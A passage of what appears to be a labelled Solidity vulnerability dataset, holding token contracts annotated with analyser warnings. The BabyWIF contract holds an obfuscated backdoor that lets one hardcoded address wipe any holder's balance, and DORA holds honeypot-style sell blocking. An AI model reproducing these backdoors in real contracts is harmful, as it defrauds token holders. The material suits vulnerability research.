IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: aa17058\n\t\t// unused-return | ID: 40acc25\n\t\t// reentrancy-eth | ID: 1c5764e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: aa17058\n\t\t// unused-return | ID: 9fec9ce\n\t\t// reentrancy-eth | ID: 1c5764e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: aa17058\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1c5764e\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10049.sol",
"size_bytes": 20172,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n}\n\ninterface IERC721Errors {\n error ERC721InvalidOwner(address owner);\n\n error ERC721NonexistentToken(uint256 tokenId);\n\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n error ERC721InvalidSender(address sender);\n\n error ERC721InvalidReceiver(address receiver);\n\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n error ERC721InvalidApprover(address approver);\n\n error ERC721InvalidOperator(address operator);\n}\n\ninterface IERC1155Errors {\n error ERC1155InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed,\n uint256 tokenId\n );\n\n error ERC1155InvalidSender(address sender);\n\n error ERC1155InvalidReceiver(address receiver);\n\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n error ERC1155InvalidApprover(address approver);\n\n error ERC1155InvalidOperator(address operator);\n\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract DORA is ERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => bool) private _versionAddress;\n\n mapping(address => uint256) private _MAX_ADD;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ac36b2): DORA._name should be constant \n\t// Recommendation for 2ac36b2: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 26d4457): DORA._name shadows ERC20._name\n\t// Recommendation for 26d4457: Remove the state variable shadowing.\n string private _name = unicode\"Dora\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 24ac15e): DORA._symbol should be constant \n\t// Recommendation for 24ac15e: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: e2c1a02): DORA._symbol shadows ERC20._symbol\n\t// Recommendation for e2c1a02: Remove the state variable shadowing.\n string private _symbol = unicode\"DORA\";\n\n\t// WARNING Optimization Issue (immutable-states | ID: 28c74ac): DORA._tTotal should be immutable \n\t// Recommendation for 28c74ac: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tTotal = 5_000_000_000_000 * 10 ** decimals();\n\n IUniswapV2Router02 private _Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n constructor() ERC20(_name, _symbol) Ownable(msg.sender) {\n _versionAddress[msg.sender] = true;\n\n _versionAddress[address(this)] = true;\n\n _mint(msg.sender, _tTotal);\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 5b3c015): DORA._update(address,address,uint256) uses tx.origin for authorization _versionAddress[tx.origin]\n\t// Recommendation for 5b3c015: Do not use 'tx.origin' for authorization.\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override {\n\t\t// tx-origin | ID: 5b3c015\n if (_versionAddress[tx.origin]) {\n super._update(from, to, value);\n\n return;\n } else {\n require(tradingOpen, \"Open not yet\");\n\n if (to == uniswapV2Pair && from != address(this)) {\n if (tx.gasprice > _MAX_ADD[from] && _MAX_ADD[from] != 0) {\n revert(\"Exceeds the _MAX_ADD on sell tx\");\n }\n }\n\n if (to != uniswapV2Pair && from != uniswapV2Pair) {\n if (tx.gasprice > _MAX_ADD[from] && _MAX_ADD[from] != 0) {\n revert(\"Exceeds the _MAX_ADD on transfer from tx\");\n }\n }\n\n super._update(from, to, value);\n }\n }\n\n function name() public view override returns (string memory) {\n return _name;\n }\n\n function symbol() public view override returns (string memory) {\n return _symbol;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n if (_versionAddress[msg.sender]) {\n _MAX_ADD[spender] = amount;\n }\n\n super.approve(spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public override returns (bool) {\n if (_versionAddress[msg.sender]) {\n super._update(from, to, amount);\n } else {\n super.transferFrom(from, to, amount);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: de18d19): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for de18d19: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function OpenTrade() public onlyOwner {\n _Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-benign | ID: de18d19\n uniswapV2Pair = IUniswapV2Factory(_Router.factory()).getPair(\n address(this),\n _Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: de18d19\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_1005.sol",
"size_bytes": 15024,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 23319823584124255113407145075347007913948507 *\n 10 ** 4 +\n 281474976719576;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"BabyWIF\", unicode\"BabyWIF\", 9, 50000000) {}\n}\n",
"file_name": "solidity_code_10050.sol",
"size_bytes": 7296,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n address private _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract BOBR is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"BOOK OF BULL RUN\";\n\n string private constant _symbol = \"BOBR\";\n\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n uint256 private constant MAX = ~uint256(0);\n\n uint256 private constant _tTotal = 100000000 * 10 ** 9;\n\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n\n uint256 private _tFeeTotal;\n\n uint256 private _redisFeeOnBuy = 0;\n\n uint256 private _taxFeeOnBuy = 5;\n\n uint256 private _redisFeeOnSell = 0;\n\n uint256 private _taxFeeOnSell = 5;\n\n uint256 private _redisFee = _redisFeeOnSell;\n\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) public _buyMap;\n\n\t// WARNING Optimization Issue (constable-states | ID: f7b93b4): BOBR._developmentAddress should be constant \n\t// Recommendation for f7b93b4: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0xCe3dCFCC987e9225D056D5ea2BCbEBCBb8033A5c);\n\n\t// WARNING Optimization Issue (constable-states | ID: 4651d0d): BOBR._marketingAddress should be constant \n\t// Recommendation for 4651d0d: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0xCe3dCFCC987e9225D056D5ea2BCbEBCBb8033A5c);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1cb7218): BOBR.uniswapV2Router should be immutable \n\t// Recommendation for 1cb7218: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2e7845c): BOBR.uniswapV2Pair should be immutable \n\t// Recommendation for 2e7845c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 1000000 * 10 ** 9;\n\n uint256 public _maxWalletSize = 1000000 * 10 ** 9;\n\n uint256 public _swapTokensAtAmount = 1000 * 10 ** 9;\n\n bool private _maxTxn = false;\n\n bool private _maxWallet = false;\n\n bool private _maxTxnCan = false;\n\n bool private _maxWalletCan = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_developmentAddress] = true;\n\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 44435e1): BOBR.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 44435e1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6aa793b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6aa793b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ee246dd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ee246dd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6aa793b\n\t\t// reentrancy-benign | ID: ee246dd\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6aa793b\n\t\t// reentrancy-benign | ID: ee246dd\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"the transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount has to be less than total reflections\"\n );\n\n uint256 currentRate = _getRate();\n\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: e4528c7\n _previousredisFee = _redisFee;\n\n\t\t// reentrancy-benign | ID: e4528c7\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: e4528c7\n _redisFee = 0;\n\n\t\t// reentrancy-benign | ID: e4528c7\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: e4528c7\n _redisFee = _previousredisFee;\n\n\t\t// reentrancy-benign | ID: e4528c7\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 29eeccf): BOBR._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 29eeccf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"Can't approve from zero address\");\n\n require(spender != address(0), \"Can't approve to zero address\");\n\n\t\t// reentrancy-benign | ID: ee246dd\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6aa793b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 968e3aa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 968e3aa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e4528c7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e4528c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3fac3a9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3fac3a9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"Cant transfer from address zero\");\n\n require(to != address(0), \"Cant transfer to address zero\");\n\n require(amount > 0, \"Amount should be above zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"Only owner can trade before trading 